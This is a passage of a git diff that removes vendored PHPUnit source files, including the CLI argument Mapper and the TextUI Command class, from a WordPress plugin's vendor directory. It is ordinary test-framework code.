($this->version === null) { - throw new Exception; - } - - return $this->version; - } - - public function hasXdebugFilterFile(): bool - { - return $this->xdebugFilterFile !== null; - } - - /** - * @throws Exception - */ - public function xdebugFilterFile(): string - { - if ($this->xdebugFilterFile === null) { - throw new Exception; - } - - return $this->xdebugFilterFile; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Exception.php deleted file mode 100644 index dd5536ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\CliArguments; - -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Exception extends RuntimeException implements \PHPUnit\Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php deleted file mode 100644 index 9ceb8ab4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php +++ /dev/null @@ -1,365 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI\CliArguments; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Mapper -{ - /** - * @throws Exception - */ - public function mapToLegacyArray(Configuration $arguments): array - { - $result = [ - 'extensions' => [], - 'listGroups' => false, - 'listSuites' => false, - 'listTests' => false, - 'listTestsXml' => false, - 'loader' => null, - 'useDefaultConfiguration' => true, - 'loadedExtensions' => [], - 'unavailableExtensions' => [], - 'notLoadedExtensions' => [], - ]; - - if ($arguments->hasColors()) { - $result['colors'] = $arguments->colors(); - } - - if ($arguments->hasBootstrap()) { - $result['bootstrap'] = $arguments->bootstrap(); - } - - if ($arguments->hasCacheResult()) { - $result['cacheResult'] = $arguments->cacheResult(); - } - - if ($arguments->hasCacheResultFile()) { - $result['cacheResultFile'] = $arguments->cacheResultFile(); - } - - if ($arguments->hasColumns()) { - $result['columns'] = $arguments->columns(); - } - - if ($arguments->hasConfiguration()) { - $result['configuration'] = $arguments->configuration(); - } - - if ($arguments->hasCoverageCacheDirectory()) { - $result['coverageCacheDirectory'] = $arguments->coverageCacheDirectory(); - } - - if ($arguments->hasWarmCoverageCache()) { - $result['warmCoverageCache'] = $arguments->warmCoverageCache(); - } - - if ($arguments->hasCoverageClover()) { - $result['coverageClover'] = $arguments->coverageClover(); - } - - if ($arguments->hasCoverageCobertura()) { - $result['coverageCobertura'] = $arguments->coverageCobertura(); - } - - if ($arguments->hasCoverageCrap4J()) { - $result['coverageCrap4J'] = $arguments->coverageCrap4J(); - } - - if ($arguments->hasCoverageHtml()) { - $result['coverageHtml'] = $arguments->coverageHtml(); - } - - if ($arguments->hasCoveragePhp()) { - $result['coveragePHP'] = $arguments->coveragePhp(); - } - - if ($arguments->hasCoverageText()) { - $result['coverageText'] = $arguments->coverageText(); - } - - if ($arguments->hasCoverageTextShowUncoveredFiles()) { - $result['coverageTextShowUncoveredFiles'] = $arguments->hasCoverageTextShowUncoveredFiles(); - } - - if ($arguments->hasCoverageTextShowOnlySummary()) { - $result['coverageTextShowOnlySummary'] = $arguments->coverageTextShowOnlySummary(); - } - - if ($arguments->hasCoverageXml()) { - $result['coverageXml'] = $arguments->coverageXml(); - } - - if ($arguments->hasPathCoverage()) { - $result['pathCoverage'] = $arguments->pathCoverage(); - } - - if ($arguments->hasDebug()) { - $result['debug'] = $arguments->debug(); - } - - if ($arguments->hasHelp()) { - $result['help'] = $arguments->help(); - } - - if ($arguments->hasFilter()) { - $result['filter'] = $arguments->filter(); - } - - if ($arguments->hasTestSuite()) { - $result['testsuite'] = $arguments->testSuite(); - } - - if ($arguments->hasGroups()) { - $result['groups'] = $arguments->groups(); - } - - if ($arguments->hasExcludeGroups()) { - $result['excludeGroups'] = $arguments->excludeGroups(); - } - - if ($arguments->hasTestsCovering()) { - $result['testsCovering'] = $arguments->testsCovering(); - } - - if ($arguments->hasTestsUsing()) { - $result['testsUsing'] = $arguments->testsUsing(); - } - - if ($arguments->hasTestSuffixes()) { - $result['testSuffixes'] = $arguments->testSuffixes(); - } - - if ($arguments->hasIncludePath()) { - $result['includePath'] = $arguments->includePath(); - } - - if ($arguments->hasListGroups()) { - $result['listGroups'] = $arguments->listGroups(); - } - - if ($arguments->hasListSuites()) { - $result['listSuites'] = $arguments->listSuites(); - } - - if ($arguments->hasListTests()) { - $result['listTests'] = $arguments->listTests(); - } - - if ($arguments->hasListTestsXml()) { - $result['listTestsXml'] = $arguments->listTestsXml(); - } - - if ($arguments->hasPrinter()) { - $result['printer'] = $arguments->printer(); - } - - if ($arguments->hasLoader()) { - $result['loader'] = $arguments->loader(); - } - - if ($arguments->hasJunitLogfile()) { - $result['junitLogfile'] = $arguments->junitLogfile(); - } - - if ($arguments->hasTeamcityLogfile()) { - $result['teamcityLogfile'] = $arguments->teamcityLogfile(); - } - - if ($arguments->hasExecutionOrder()) { - $result['executionOrder'] = $arguments->executionOrder(); - } - - if ($arguments->hasExecutionOrderDefects()) { - $result['executionOrderDefects'] = $arguments->executionOrderDefects(); - } - - if ($arguments->hasExtensions()) { - $result['extensions'] = $arguments->extensions(); - } - - if ($arguments->hasUnavailableExtensions()) { - $result['unavailableExtensions'] = $arguments->unavailableExtensions(); - } - - if ($arguments->hasResolveDependencies()) { - $result['resolveDependencies'] = $arguments->resolveDependencies(); - } - - if ($arguments->hasProcessIsolation()) { - $result['processIsolation'] = $arguments->processIsolation(); - } - - if ($arguments->hasRepeat()) { - $result['repeat'] = $arguments->repeat(); - } - - if ($arguments->hasStderr()) { - $result['stderr'] = $arguments->stderr(); - } - - if ($arguments->hasStopOnDefect()) { - $result['stopOnDefect'] = $arguments->stopOnDefect(); - } - - if ($arguments->hasStopOnError()) { - $result['stopOnError'] = $arguments->stopOnError(); - } - - if ($arguments->hasStopOnFailure()) { - $result['stopOnFailure'] = $arguments->stopOnFailure(); - } - - if ($arguments->hasStopOnWarning()) { - $result['stopOnWarning'] = $arguments->stopOnWarning(); - } - - if ($arguments->hasStopOnIncomplete()) { - $result['stopOnIncomplete'] = $arguments->stopOnIncomplete(); - } - - if ($arguments->hasStopOnRisky()) { - $result['stopOnRisky'] = $arguments->stopOnRisky(); - } - - if ($arguments->hasStopOnSkipped()) { - $result['stopOnSkipped'] = $arguments->stopOnSkipped(); - } - - if ($arguments->hasFailOnEmptyTestSuite()) { - $result['failOnEmptyTestSuite'] = $arguments->failOnEmptyTestSuite(); - } - - if ($arguments->hasFailOnIncomplete()) { - $result['failOnIncomplete'] = $arguments->failOnIncomplete(); - } - - if ($arguments->hasFailOnRisky()) { - $result['failOnRisky'] = $arguments->failOnRisky(); - } - - if ($arguments->hasFailOnSkipped()) { - $result['failOnSkipped'] = $arguments->failOnSkipped(); - } - - if ($arguments->hasFailOnWarning()) { - $result['failOnWarning'] = $arguments->failOnWarning(); - } - - if ($arguments->hasTestdoxGroups()) { - $result['testdoxGroups'] = $arguments->testdoxGroups(); - } - - if ($arguments->hasTestdoxExcludeGroups()) { - $result['testdoxExcludeGroups'] = $arguments->testdoxExcludeGroups(); - } - - if ($arguments->hasTestdoxHtmlFile()) { - $result['testdoxHTMLFile'] = $arguments->testdoxHtmlFile(); - } - - if ($arguments->hasTestdoxTextFile()) { - $result['testdoxTextFile'] = $arguments->testdoxTextFile(); - } - - if ($arguments->hasTestdoxXmlFile()) { - $result['testdoxXMLFile'] = $arguments->testdoxXmlFile(); - } - - if ($arguments->hasUseDefaultConfiguration()) { - $result['useDefaultConfiguration'] = $arguments->useDefaultConfiguration(); - } - - if ($arguments->hasNoExtensions()) { - $result['noExtensions'] = $arguments->noExtensions(); - } - - if ($arguments->hasNoCoverage()) { - $result['noCoverage'] = $arguments->noCoverage(); - } - - if ($arguments->hasNoLogging()) { - $result['noLogging'] = $arguments->noLogging(); - } - - if ($arguments->hasNoInteraction()) { - $result['noInteraction'] = $arguments->noInteraction(); - } - - if ($arguments->hasBackupGlobals()) { - $result['backupGlobals'] = $arguments->backupGlobals(); - } - - if ($arguments->hasBackupStaticAttributes()) { - $result['backupStaticAttributes'] = $arguments->backupStaticAttributes(); - } - - if ($arguments->hasVerbose()) { - $result['verbose'] = $arguments->verbose(); - } - - if ($arguments->hasReportUselessTests()) { - $result['reportUselessTests'] = $arguments->reportUselessTests(); - } - - if ($arguments->hasStrictCoverage()) { - $result['strictCoverage'] = $arguments->strictCoverage(); - } - - if ($arguments->hasDisableCodeCoverageIgnore()) { - $result['disableCodeCoverageIgnore'] = $arguments->disableCodeCoverageIgnore(); - } - - if ($arguments->hasBeStrictAboutChangesToGlobalState()) { - $result['beStrictAboutChangesToGlobalState'] = $arguments->beStrictAboutChangesToGlobalState(); - } - - if ($arguments->hasDisallowTestOutput()) { - $result['disallowTestOutput'] = $arguments->disallowTestOutput(); - } - - if ($arguments->hasBeStrictAboutResourceUsageDuringSmallTests()) { - $result['beStrictAboutResourceUsageDuringSmallTests'] = $arguments->beStrictAboutResourceUsageDuringSmallTests(); - } - - if ($arguments->hasDefaultTimeLimit()) { - $result['defaultTimeLimit'] = $arguments->defaultTimeLimit(); - } - - if ($arguments->hasEnforceTimeLimit()) { - $result['enforceTimeLimit'] = $arguments->enforceTimeLimit(); - } - - if ($arguments->hasDisallowTodoAnnotatedTests()) { - $result['disallowTodoAnnotatedTests'] = $arguments->disallowTodoAnnotatedTests(); - } - - if ($arguments->hasReverseList()) { - $result['reverseList'] = $arguments->reverseList(); - } - - if ($arguments->hasCoverageFilter()) { - $result['coverageFilter'] = $arguments->coverageFilter(); - } - - if ($arguments->hasRandomOrderSeed()) { - $result['randomOrderSeed'] = $arguments->randomOrderSeed(); - } - - if ($arguments->hasXdebugFilterFile()) { - $result['xdebugFilterFile'] = $arguments->xdebugFilterFile(); - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Command.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Command.php deleted file mode 100644 index 7b963f0a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Command.php +++ /dev/null @@ -1,1042 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use const PATH_SEPARATOR; -use const PHP_EOL; -use const STDIN; -use function array_keys; -use function assert; -use function class_exists; -use function copy; -use function explode; -use function extension_loaded; -use function fgets; -use function file_get_contents; -use function file_put_contents; -use function get_class; -use function getcwd; -use function ini_get; -use function ini_set; -use function is_array; -use function is_callable; -use function is_dir; -use function is_file; -use function is_string; -use function printf; -use function realpath; -use function sort; -use function sprintf; -use function stream_resolve_include_path; -use function strpos; -use function trim; -use function version_compare; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Runner\Extension\PharLoader; -use PHPUnit\Runner\StandardTestSuiteLoader; -use PHPUnit\Runner\TestSuiteLoader; -use PHPUnit\Runner\Version; -use PHPUnit\TextUI\CliArguments\Builder; -use PHPUnit\TextUI\CliArguments\Configuration; -use PHPUnit\TextUI\CliArguments\Exception as ArgumentsException; -use PHPUnit\TextUI\CliArguments\Mapper; -use PHPUnit\TextUI\XmlConfiguration\CodeCoverage\FilterMapper; -use PHPUnit\TextUI\XmlConfiguration\Generator; -use PHPUnit\TextUI\XmlConfiguration\Loader; -use PHPUnit\TextUI\XmlConfiguration\Migrator; -use PHPUnit\TextUI\XmlConfiguration\PhpHandler; -use PHPUnit\Util\FileLoader; -use PHPUnit\Util\Filesystem; -use PHPUnit\Util\Printer; -use PHPUnit\Util\TextTestListRenderer; -use PHPUnit\Util\Xml\SchemaDetector; -use PHPUnit\Util\XmlTestListRenderer; -use ReflectionClass; -use SebastianBergmann\CodeCoverage\Filter; -use SebastianBergmann\CodeCoverage\StaticAnalysis\CacheWarmer; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use SebastianBergmann\Timer\Timer; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -class Command -{ - /** - * @var array - */ - protected $arguments = []; - - /** - * @var array - */ - protected $longOptions = []; - - /** - * @var bool - */ - private $versionStringPrinted = false; - - /** - * @psalm-var list - */ - private $warnings = []; - - /** - * @throws Exception - */ - public static function main(bool $exit = true): int - { - try { - return (new static)->run($_SERVER['argv'], $exit); - } catch (Throwable $t) { - throw new RuntimeException( - $t->getMessage(), - (int) $t->getCode(), - $t, - ); - } - } - - /** - * @throws Exception - */ - public function run(array $argv, bool $exit = true): int - { - $this->handleArguments($argv); - - $runner = $this->createRunner(); - - if ($this->arguments['test'] instanceof TestSuite) { - $suite = $this->arguments['test']; - } else { - $suite = $runner->getTest( - $this->arguments['test'], - $this->arguments['testSuffixes'], - ); - } - - if ($this->arguments['listGroups']) { - return $this->handleListGroups($suite, $exit); - } - - if ($this->arguments['listSuites']) { - return $this->handleListSuites($exit); - } - - if ($this->arguments['listTests']) { - return $this->handleListTests($suite, $exit); - } - - if ($this->arguments['listTestsXml']) { - return $this->handleListTestsXml($suite, $this->arguments['listTestsXml'], $exit); - } - - unset($this->arguments['test'], $this->arguments['testFile']); - - try { - $result = $runner->run($suite, $this->arguments, $this->warnings, $exit); - } catch (Throwable $t) { - print $t->getMessage() . PHP_EOL; - } - - $return = TestRunner::FAILURE_EXIT; - - if (isset($result) && $result->wasSuccessful()) { - $return = TestRunner::SUCCESS_EXIT; - } elseif (!isset($result) || $result->errorCount() > 0) { - $return = TestRunner::EXCEPTION_EXIT; - } - - if ($exit) { - exit($return); - } - - return $return; - } - - /** - * Create a TestRunner, override in subclasses. - */ - protected function createRunner(): TestRunner - { - return new TestRunner($this->arguments['loader']); - } - - /** - * Handles the command-line arguments. - * - * A child class of PHPUnit\TextUI\Command can hook into the argument - * parsing by adding the switch(es) to the $longOptions array and point to a - * callback method that handles the switch(es) in the child class like this - * - * - * longOptions['my-switch'] = 'myHandler'; - * // my-secondswitch will accept a value - note the equals sign - * $this->longOptions['my-secondswitch='] = 'myOtherHandler'; - * } - * - * // --my-switch -> myHandler() - * protected function myHandler() - * { - * } - * - * // --my-secondswitch foo -> myOtherHandler('foo') - * protected function myOtherHandler ($value) - * { - * } - * - * // You will also need this - the static keyword in the - * // PHPUnit\TextUI\Command will mean that it'll be - * // PHPUnit\TextUI\Command that gets instantiated, - * // not MyCommand - * public static function main($exit = true) - * { - * $command = new static; - * - * return $command->run($_SERVER['argv'], $exit); - * } - * - * } - * - * - * @throws Exception - */ - protected function handleArguments(array $argv): void - { - try { - $arguments = (new Builder)->fromParameters($argv, array_keys($this->longOptions)); - } catch (ArgumentsException $e) { - $this->exitWithErrorMessage($e->getMessage()); - } - - assert(isset($arguments) && $arguments instanceof Configuration); - - if ($arguments->hasGenerateConfiguration() && $arguments->generateConfiguration()) { - $this->generateConfiguration(); - } - - if ($arguments->hasAtLeastVersion()) { - if (version_compare(Version::id(), $arguments->atLeastVersion(), '>=')) { - exit(TestRunner::SUCCESS_EXIT); - } - - exit(TestRunner::FAILURE_EXIT); - } - - if ($arguments->hasVersion() && $arguments->version()) { - $this->printVersionString(); - - exit(TestRunner::SUCCESS_EXIT); - } - - if ($arguments->hasCheckVersion() && $arguments->checkVersion()) { - $this->handleVersionCheck(); - } - - if ($arguments->hasHelp()) { - $this->showHelp(); - - exit(TestRunner::SUCCESS_EXIT); - } - - if ($arguments->hasUnrecognizedOrderBy()) { - $this->exitWithErrorMessage( - sprintf( - 'unrecognized --order-by option: %s', - $arguments->unrecognizedOrderBy(), - ), - ); - } - - if ($arguments->hasIniSettings()) { - foreach ($arguments->iniSettings() as $name => $value) { - ini_set($name, $value); - } - } - - if ($arguments->hasIncludePath()) { - ini_set( - 'include_path', - $arguments->includePath() . PATH_SEPARATOR . ini_get('include_path'), - ); - } - - $this->arguments = (new Mapper)->mapToLegacyArray($arguments); - - $this->handleCustomOptions($arguments->unrecognizedOptions()); - $this->handleCustomTestSuite(); - - if (!isset($this->arguments['testSuffixes'])) { - $this->arguments['testSuffixes'] = ['Test.php', '.phpt']; - } - - if (!isset($this->arguments['test']) && $arguments->hasArgument()) { - $this->arguments['test'] = realpath($arguments->argument()); - - if ($this->arguments['test'] === false) { - $this->exitWithErrorMessage( - sprintf( - 'Cannot open file "%s".', - $arguments->argument(), - ), - ); - } - } - - if ($this->arguments['loader'] !== null) { - $this->arguments['loader'] = $this->handleLoader($this->arguments['loader']); - } - - if (isset($this->arguments['configuration'])) { - if (is_dir($this->arguments['configuration'])) { - $candidate = $this->configurationFileInDirectory($this->arguments['configuration']); - - if ($candidate !== null) { - $this->arguments['configuration'] = $candidate; - } - } - } elseif ($this->arguments['useDefaultConfiguration']) { - $candidate = $this->configurationFileInDirectory(getcwd()); - - if ($candidate !== null) { - $this->arguments['configuration'] = $candidate; - } - } - - if ($arguments->hasMigrateConfiguration() && $arguments->migrateConfiguration()) { - if (!isset($this->arguments['configuration'])) { - print 'No configuration file found to migrate.' . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - - $this->migrateConfiguration(realpath($this->arguments['configuration'])); - } - - if (isset($this->arguments['configuration'])) { - try { - $this->arguments['configurationObject'] = (new Loader)->load($this->arguments['configuration']); - } catch (Throwable $e) { - print $e->getMessage() . PHP_EOL; - - exit(TestRunner::FAILURE_EXIT); - } - - $phpunitConfiguration = $this->arguments['configurationObject']->phpunit(); - - (new PhpHandler)->handle($this->arguments['configurationObject']->php()); - - if (isset($this->arguments['bootstrap'])) { - $this->handleBootstrap($this->arguments['bootstrap']); - } elseif ($phpunitConfiguration->hasBootstrap()) { - $this->handleBootstrap($phpunitConfiguration->bootstrap()); - } - - if (!isset($this->arguments['stderr'])) { - $this->arguments['stderr'] = $phpunitConfiguration->stderr(); - } - - if (!isset($this->arguments['noExtensions']) && $phpunitConfiguration->hasExtensionsDirectory() && extension_loaded('phar')) { - $result = (new PharLoader)->loadPharExtensionsInDirectory($phpunitConfiguration->extensionsDirectory()); - - $this->arguments['loadedExtensions'] = $result['loadedExtensions']; - $this->arguments['notLoadedExtensions'] = $result['notLoadedExtensions']; - - unset($result); - } - - if (!isset($this->arguments['columns'])) { - $this->arguments['columns'] = $phpunitConfiguration->columns(); - } - - if (!isset($this->arguments['printer']) && $phpunitConfiguration->hasPrinterClass()) { - $file = $phpunitConfiguration->hasPrinterFile() ? $phpunitConfiguration->printerFile() : ''; - - $this->arguments['printer'] = $this->handlePrinter( - $phpunitConfiguration->printerClass(), - $file, - ); - } - - if ($phpunitConfiguration->hasTestSuiteLoaderClass()) { - $file = $phpunitConfiguration->hasTestSuiteLoaderFile() ? $phpunitConfiguration->testSuiteLoaderFile() : ''; - - $this->arguments['loader'] = $this->handleLoader( - $phpunitConfiguration->testSuiteLoaderClass(), - $file, - ); - } - - if (!isset($this->arguments['testsuite']) && $phpunitConfiguration->hasDefaultTestSuite()) { - $this->arguments['testsuite'] = $phpunitConfiguration->defaultTestSuite(); - } - - if (!isset($this->arguments['test'])) { - try { - $this->arguments['test'] = (new TestSuiteMapper)->map( - $this->arguments['configurationObject']->testSuite(), - $this->arguments['testsuite'] ?? '', - ); - } catch (Exception $e) { - $this->printVersionString(); - - print $e->getMessage() . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - } - } elseif (isset($this->arguments['bootstrap'])) { - $this->handleBootstrap($this->arguments['bootstrap']); - } - - if (isset($this->arguments['printer']) && is_string($this->arguments['printer'])) { - $this->arguments['printer'] = $this->handlePrinter($this->arguments['printer']); - } - - if (isset($this->arguments['configurationObject'], $this->arguments['warmCoverageCache'])) { - $this->handleWarmCoverageCache($this->arguments['configurationObject']); - } - - if (!isset($this->arguments['test'])) { - $this->showHelp(); - - exit(TestRunner::EXCEPTION_EXIT); - } - } - - /** - * Handles the loading of the PHPUnit\Runner\TestSuiteLoader implementation. - * - * @deprecated see https://github.com/sebastianbergmann/phpunit/issues/4039 - */ - protected function handleLoader(string $loaderClass, string $loaderFile = ''): ?TestSuiteLoader - { - $this->warnings[] = 'Using a custom test suite loader is deprecated'; - - if (!class_exists($loaderClass, false)) { - if ($loaderFile == '') { - $loaderFile = Filesystem::classNameToFilename( - $loaderClass, - ); - } - - $loaderFile = stream_resolve_include_path($loaderFile); - - if ($loaderFile) { - /** - * @noinspection PhpIncludeInspection - * - * @psalm-suppress UnresolvableInclude - */ - require $loaderFile; - } - } - - if (class_exists($loaderClass, false)) { - try { - $class = new ReflectionClass($loaderClass); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - if ($class->implementsInterface(TestSuiteLoader::class) && $class->isInstantiable()) { - $object = $class->newInstance(); - - assert($object instanceof TestSuiteLoader); - - return $object; - } - } - - if ($loaderClass == StandardTestSuiteLoader::class) { - return null; - } - - $this->exitWithErrorMessage( - sprintf( - 'Could not use "%s" as loader.', - $loaderClass, - ), - ); - - return null; - } - - /** - * Handles the loading of the PHPUnit\Util\Printer implementation. - * - * @return null|Printer|string - */ - protected function handlePrinter(string $printerClass, string $printerFile = '') - { - if (!class_exists($printerClass, false)) { - if ($printerFile === '') { - $printerFile = Filesystem::classNameToFilename( - $printerClass, - ); - } - - $printerFile = stream_resolve_include_path($printerFile); - - if ($printerFile) { - /** - * @noinspection PhpIncludeInspection - * - * @psalm-suppress UnresolvableInclude - */ - require $printerFile; - } - } - - if (!class_exists($printerClass)) { - $this->exitWithErrorMessage( - sprintf( - 'Could not use "%s" as printer: class does not exist', - $printerClass, - ), - ); - } - - try { - $class = new ReflectionClass($printerClass); - // @codeCoverageIgnoreStart - } catch (\ReflectionException $e) { - throw new ReflectionException( - $e->getMessage(), - $e->getCode(), - $e, - ); - // @codeCoverageIgnoreEnd - } - - if (!$class->implementsInterface(ResultPrinter::class)) { - $this->exitWithErrorMessage( - sprintf( - 'Could not use "%s" as printer: class does not implement %s', - $printerClass, - ResultPrinter::class, - ), - ); - } - - if (!$class->isInstantiable()) { - $this->exitWithErrorMessage( - sprintf( - 'Could not use "%s" as printer: class cannot be instantiated', - $printerClass, - ), - ); - } - - if ($class->isSubclassOf(ResultPrinter::class)) { - return $printerClass; - } - - $outputStream = isset($this->arguments['stderr']) ? 'php://stderr' : null; - - return $class->newInstance($outputStream); - } - - /** - * Loads a bootstrap file. - */ - protected function handleBootstrap(string $filename): void - { - try { - FileLoader::checkAndLoad($filename); - } catch (Throwable $t) { - if ($t instanceof \PHPUnit\Exception) { - $this->exitWithErrorMessage($t->getMessage()); - } - - $message = sprintf( - 'Error in bootstrap script: %s:%s%s%s%s', - get_class($t), - PHP_EOL, - $t->getMessage(), - PHP_EOL, - $t->getTraceAsString(), - ); - - while ($t = $t->getPrevious()) { - $message .= sprintf( - '%s%sPrevious error: %s:%s%s%s%s', - PHP_EOL, - PHP_EOL, - get_class($t), - PHP_EOL, - $t->getMessage(), - PHP_EOL, - $t->getTraceAsString(), - ); - } - - $this->exitWithErrorMessage($message); - } - } - - protected function handleVersionCheck(): void - { - $this->printVersionString(); - - $latestVersion = file_get_contents('https://phar.phpunit.de/latest-version-of/phpunit'); - $latestCompatibleVersion = file_get_contents('https://phar.phpunit.de/latest-version-of/phpunit-' . explode('.', Version::series())[0]); - - $notLatest = version_compare($latestVersion, Version::id(), '>'); - $notLatestCompatible = version_compare($latestCompatibleVersion, Version::id(), '>'); - - if ($notLatest || $notLatestCompatible) { - print 'You are not using the latest version of PHPUnit.' . PHP_EOL; - } else { - print 'You are using the latest version of PHPUnit.' . PHP_EOL; - } - - if ($notLatestCompatible) { - printf( - 'The latest version compatible with PHPUnit %s is PHPUnit %s.' . PHP_EOL, - Version::id(), - $latestCompatibleVersion, - ); - } - - if ($notLatest) { - printf( - 'The latest version is PHPUnit %s.' . PHP_EOL, - $latestVersion, - ); - } - - exit(TestRunner::SUCCESS_EXIT); - } - - /** - * Show the help message. - */ - protected function showHelp(): void - { - $this->printVersionString(); - (new Help)->writeToConsole(); - } - - /** - * Custom callback for test suite discovery. - */ - protected function handleCustomTestSuite(): void - { - } - - private function printVersionString(): void - { - if ($this->versionStringPrinted) { - return; - } - - print Version::getVersionString() . PHP_EOL . PHP_EOL; - - $this->versionStringPrinted = true; - } - - private function exitWithErrorMessage(string $message): void - { - $this->printVersionString(); - - print $message . PHP_EOL; - - exit(TestRunner::FAILURE_EXIT); - } - - private function handleListGroups(TestSuite $suite, bool $exit): int - { - $this->printVersionString(); - - $this->warnAboutConflictingOptions( - 'listGroups', - [ - 'filter', - 'groups', - 'excludeGroups', - 'testsuite', - ], - ); - - print 'Available test group(s):' . PHP_EOL; - - $groups = $suite->getGroups(); - sort($groups); - - foreach ($groups as $group) { - if (strpos($group, '__phpunit_') === 0) { - continue; - } - - printf( - ' - %s' . PHP_EOL, - $group, - ); - } - - if ($exit) { - exit(TestRunner::SUCCESS_EXIT); - } - - return TestRunner::SUCCESS_EXIT; - } - - /** - * @throws \PHPUnit\Framework\Exception - * @throws XmlConfiguration\Exception - */ - private function handleListSuites(bool $exit): int - { - $this->printVersionString(); - - $this->warnAboutConflictingOptions( - 'listSuites', - [ - 'filter', - 'groups', - 'excludeGroups', - 'testsuite', - ], - ); - - print 'Available test suite(s):' . PHP_EOL; - - foreach ($this->arguments['configurationObject']->testSuite() as $testSuite) { - printf( - ' - %s' . PHP_EOL, - $testSuite->name(), - ); - } - - if ($exit) { - exit(TestRunner::SUCCESS_EXIT); - } - - return TestRunner::SUCCESS_EXIT; - } - - /** - * @throws InvalidArgumentException - */ - private function handleListTests(TestSuite $suite, bool $exit): int - { - $this->printVersionString(); - - $this->warnAboutConflictingOptions( - 'listTests', - [ - 'filter', - 'groups', - 'excludeGroups', - ], - ); - - $renderer = new TextTestListRenderer; - - print $renderer->render($suite); - - if ($exit) { - exit(TestRunner::SUCCESS_EXIT); - } - - return TestRunner::SUCCESS_EXIT; - } - - /** - * @throws InvalidArgumentException - */ - private function handleListTestsXml(TestSuite $suite, string $target, bool $exit): int - { - $this->printVersionString(); - - $this->warnAboutConflictingOptions( - 'listTestsXml', - [ - 'filter', - 'groups', - 'excludeGroups', - ], - ); - - $renderer = new XmlTestListRenderer; - - file_put_contents($target, $renderer->render($suite)); - - printf( - 'Wrote list of tests that would have been run to %s' . PHP_EOL, - $target, - ); - - if ($exit) { - exit(TestRunner::SUCCESS_EXIT); - } - - return TestRunner::SUCCESS_EXIT; - } - - private function generateConfiguration(): void - { - $this->printVersionString(); - - print 'Generating phpunit.xml in ' . getcwd() . PHP_EOL . PHP_EOL; - print 'Bootstrap script (relative to path shown above; default: vendor/autoload.php): '; - - $bootstrapScript = trim(fgets(STDIN)); - - print 'Tests directory (relative to path shown above; default: tests): '; - - $testsDirectory = trim(fgets(STDIN)); - - print 'Source directory (relative to path shown above; default: src): '; - - $src = trim(fgets(STDIN)); - - print 'Cache directory (relative to path shown above; default: .phpunit.cache): '; - - $cacheDirectory = trim(fgets(STDIN)); - - if ($bootstrapScript === '') { - $bootstrapScript = 'vendor/autoload.php'; - } - - if ($testsDirectory === '') { - $testsDirectory = 'tests'; - } - - if ($src === '') { - $src = 'src'; - } - - if ($cacheDirectory === '') { - $cacheDirectory = '.phpunit.cache'; - } - - $generator = new Generator; - - file_put_contents( - 'phpunit.xml', - $generator->generateDefaultConfiguration( - Version::series(), - $bootstrapScript, - $testsDirectory, - $src, - $cacheDirectory, - ), - ); - - print PHP_EOL . 'Generated phpunit.xml in ' . getcwd() . '.' . PHP_EOL; - print 'Make sure to exclude the ' . $cacheDirectory . ' directory from version control.' . PHP_EOL; - - exit(TestRunner::SUCCESS_EXIT); - } - - private function migrateConfiguration(string $filename): void - { - $this->printVersionString(); - - $result = (new SchemaDetector)->detect($filename); - - if (!$result->detected()) { - print $filename . ' does not validate against any known schema.' . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - - /** @psalm-suppress MissingThrowsDocblock */ - if ($result->version() === Version::series()) { - print $filename . ' does not need to be migrated.' . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - - copy($filename, $filename . '.bak'); - - print 'Created backup: ' . $filename . '.bak' . PHP_EOL; - - try { - file_put_contents( - $filename, - (new Migrator)->migrate($filename), - ); - - print 'Migrated configuration: ' . $filename . PHP_EOL; - } catch (Throwable $t) { - print 'Migration failed: ' . $t->getMessage() . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - - exit(TestRunner::SUCCESS_EXIT); - } - - private function handleCustomOptions(array $unrecognizedOptions): void - { - foreach ($unrecognizedOptions as $name => $value) { - if (isset($this->longOptions[$name])) { - $handler = $this->longOptions[$name]; - } - - $name .= '='; - - if (isset($this->longOptions[$name])) { - $handler = $this->longOptions[$name]; - } - - if (isset($handler) && is_callable([$this, $handler])) { - $this->{$handler}($value); - - unset($handler); - } - } - } - - private function handleWarmCoverageCache(XmlConfiguration\Configuration $configuration): void - { - $this->printVersionString(); - - if (isset($this->arguments['coverageCacheDirectory'])) { - $cacheDirectory = $this->arguments['coverageCacheDirectory']; - } elseif 